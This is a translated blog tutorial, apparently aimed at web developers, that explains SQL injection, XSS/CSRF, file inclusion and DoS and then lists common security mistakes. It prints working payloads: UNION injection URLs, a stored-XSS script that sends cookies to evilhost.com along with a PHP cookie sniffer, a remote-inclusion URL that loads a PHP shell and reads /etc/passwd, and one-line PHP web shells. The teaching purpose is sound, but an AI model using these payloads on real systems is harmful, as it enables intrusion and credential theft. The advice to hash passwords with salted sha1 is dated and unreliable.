Likbez on vulnerabilities in web applications, as well as the most frequent mistakes of developers

This article is a continuation of a series of articles on information security in web applications (and not only).

In general, I thought of writing about the “white box”, but I decided that you first need to fill in the possible gaps of the target audience (mostly web developers) in this area.
')
Maybe many and everyone knows what I am writing about in the article, but I will try to dilute it with practical examples and interesting experiences.

I plan that this article - the penultimate. After this cycle will be repeated, only in a more complex version, with a greater indentation in this topic. I hope I have enough for this, and in general, that there is a sense to write about it.

As usual - the responsibility for all the knowledge gained is only on the reader :)

The most frequently made mistakes in the development of web applications (in terms of security), as well as a brief educational program to exploit "popular" vulnerabilities.

First, a little about SQL injection, XSS / CSRF, RFI / LFI

SQL inj - SQL injection, execution of unauthorized queries
XSS / CSRF - embedding arbitrary JS code / script into the page. XSS - Cross Site Scripting (the first letter in the abbreviation "X" so that there is no confusion with CSS (styles). CSRF - performing arbitrary actions in the user's browser
RFI / LFI - Remote / Local file inclusion. Using remote ("from the outside") / local files for their own purposes
DoS - Denial Of Service. “Smart” resource decommissioning (as opposed to DDoS). This attack is made when it is possible to execute "long" requests or long-term code execution.

In order to know how to protect - you need to know how to break;]

SQL injection

A lot of developers have heard about it, they know that it is necessary to use prepare in their frameworks, escape functions for special characters before executing a request. This is all well and good, but few know about their capabilities and how to carry out the injection in practice. Now we partially eliminate this omission, if you have one.
The idea is simple. Instead of your request, another one is executed, or the parameters of the plan are changed.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11
(click link)
Logically, -1 records do not exist. Therefore, for each column of the table we will have the values ​​1..11 and we will get some of these values ​​in the browser (the number of returned values ​​in the union should correspond to the number of columns in the first query). Get information about the current connection will not be a problem, instead of those numbers that we see on the page, we substitute the functions of our database server in the GET request.
On the example of MySQL (and not the "muscle" one are one), we get

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version (), 3,4,5,6, database (), 8,9,10, user ()
(click link)

And we got the expected.
Once at Positive Technologies I met a very useful page with a table of differences in SQL injections in one of the PDF files, here it is in the form of a picture.

Dos . Let us consider an example where the incoming parameter is filtered for the request, but where the DoS attack is applicable

<?php $limit = (int)$_GET['limit']; $rows = mysql_query("select * from table limit 0,".$limit); ?> 

It seems to be an explicit type conversion, what's the catch? And if we have 100 thousand entries in this table:]? Try script.php? Limit = _big_number_ and get a DoS resource. Often applicable in scripts where the number of entries is limited (usually 5.25,50,100 entries are given to the user). It is easy for an attacker to replace this value, so it is best to use case / switch when implementing this functionality.

I wanted to mention file_priv, which will provide the ability to work with files on a resource through SQL queries.
But nevertheless first of all sql injections are arbitrary query execution (insert, replace, update, drop ...)

XSS / CSRF

HTML injections can be divided into 2 types.
Active - the html / js code is saved to the database and executed each time it is output from the database (for example, a post on a forum, profile data, etc.)
Passive - html / js code is executed directly when accessing the script with pre-formed parameters. An example would be a search form on a resource, when, after filling it with html code, it will be embedded in the search results.
Do not underestimate such injections. On alert () they usually do not end, this is only the beginning.
If you have for example somewhere when writing a post, html is not filtered, then here is an example of “stealing” cookies (I give an example of a “clumsy” construction intentionally, this is not a story about the intricacies of hiding xss). Post a message like:

 <script> var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url); </script> 

Since we meant active XSS, now, after the post got into the database and after any user (or admin) opens our message, our sniffer will save its cookies:] Ie sniffer.php has similar content:

 <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("sniff.txt", "a"); fwrite($file, $text); fclose($file); } ?> 

Next, the case of technology.
Here CSRF is an attack that will perform certain actions in the user's browser. For example - add admin, transfer money somewhere, etc. For this, of course, you need to know the page structure in order to switch by elements and perform actions. CSRF viruses are often used.
You can practice here
But this does not end there :) there is more than one method of conducting an XSS attack. There is base64, and a chip with utf7, and XSS in images / flash files. There are a lot of articles on this topic, but the idea remains one - the introduction of code into the page.

RFI / LFI

Not so often, but there are places to be. Example of vulnerable code:

 <?php $module = $_GET['module']; include($module); ?> 

A good example of file injection. How to apply?

  http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd 

Where the phpshell.txt file will have similar content

 <?php echo @`$_GET[c]` ?> 

Well or so

 <?=@`$c`?> 

(by Raz0r, 2008)

In the second version, the included short_open_tag and register_globals are needed.
And we will get arbitrary execution of commands on the server with the rights of a web server.
Sometimes forums with such code are used (PHPBB as an example) and it is not always possible to notice such a line as dangerous in a template (PHPBB has the option of enabling PHP in templates).

This brief educational program is over, but this is just the basics. There are ways to circumvent "attempts to protect." Features such as magic_quotes, addslashes, WAF are not a panacea. And worst of all, when the functions of the language themselves are vulnerable (for example, problems with multibyte encodings, connecting files in PHP 5.2)

The most frequent mistakes

Debug on production

There is nothing good about it, even if it is convenient for you. Directives such as error_reporting, debug (django) should be configured accordingly. Hacking is simplified when we are no longer blindly, when a hacker can reveal the full path to a web directory, so that in the future, for example, to use it with sql inj (in this case I'm talking about file_priv). Therefore, no errors of the server software or interpreters should be shown to the finite end-user. And in the code the best way would be the constructions

 if ($something) someFunction() else { echo "   "; writeLog(...); //    } 

There also 404 and similar errors. You should use your own appearance of these pages, and not from the server. And this is a plus not only in terms of security, but in general use.

Directory indexing

Configure the server accordingly, prohibit it in .htaccess, finally let you have empty index files in directories where the listing of the directory should not be available.

.htaccess could “save” from the recent zero-day vulnerability in the WordPress extension

Xss

About the possibilities of this type of attack, I have already described above. Everything that you accept from the user (including in the admin panel) must be filtered. Functions like htmlentities, striptags help in this. Or escape characters in template engines (Smarty).

SQL injection

It is necessary to use the functionality provided by the framework, and in no case use concatenation with the input parameters (especially without filtering)! mysql_real_escape_string, prepare should always be with you!

File upload

This should generally be taken seriously. Checking the file extension by comparing strings is not enough; you must also check the MIME file type. Before writing a module using file uploading, imagine that every user who will use it is a hacker and he will have only one idea how to load a shell through your module.
And if you decided to call the program for the downloaded file (whether it is converting it, or unpacking the archive) - here is also a very delicate moment with specials. characters in files that may result in a DoS resource. I am now talking about a very popular method of attacking file hosts that check downloaded files for viruses.
The attack boils down to the fact that a file with “/ 0” content is generated for several gigabytes, packed into an archive (as a result, it weighs a few KB) and uploaded to a file sharing service. After downloading, the file is unpacked, and what's next - you just have to guess :)

RFI / LFI

Above, I partially described the implementation of this attack and the filtering methods. Before you connect something, depending on the incoming data - you need to validate. Usually when using decent frameworks, this problem does not arise.

.htaccess, index files, PHP setup

I repeat a little, but: we prohibit everything unnecessary in folders, do not allow indexing of directories, discard register_globals and similar, “not recommended” PHP options.

General moment repo files.

.svn in the root when exporting a repository stores the source files. So was the "hack the whole Internet." Fun reading on the link .

Filter all incoming parameters (do not forget about cookies!), Consider the possible algorithms for executing your scripts, adjust permissions accordingly (chmod, privileges of database users, .htaccess), think about the safe execution of your next commit before sending and the product should become even better!

About cryptoresistance. If you use hashing, sha1 is better (versus md5), and then add salt to it.

 $hash = sha1($username.':'.$password); 

Conclusion

I (most likely) will be minus for 2 things:

1. what is full of information on this topic on the Internet
2. There is no need to tell the practice of applying vulnerabilities

So, on the first point - the article is inseparably connected with the cycle of articles, I can not cross it out and not tell about all this. For the second, without practical knowledge, the results of attempts to “defend” are practically reduced to zero.

Series:

• Overview of free tools for auditing web-resources and not only
• Audit "Black box"
• Likbez on vulnerabilities in web applications, as well as the most frequent mistakes of developers
• Overview of free tools for pentest web-resources and not only v2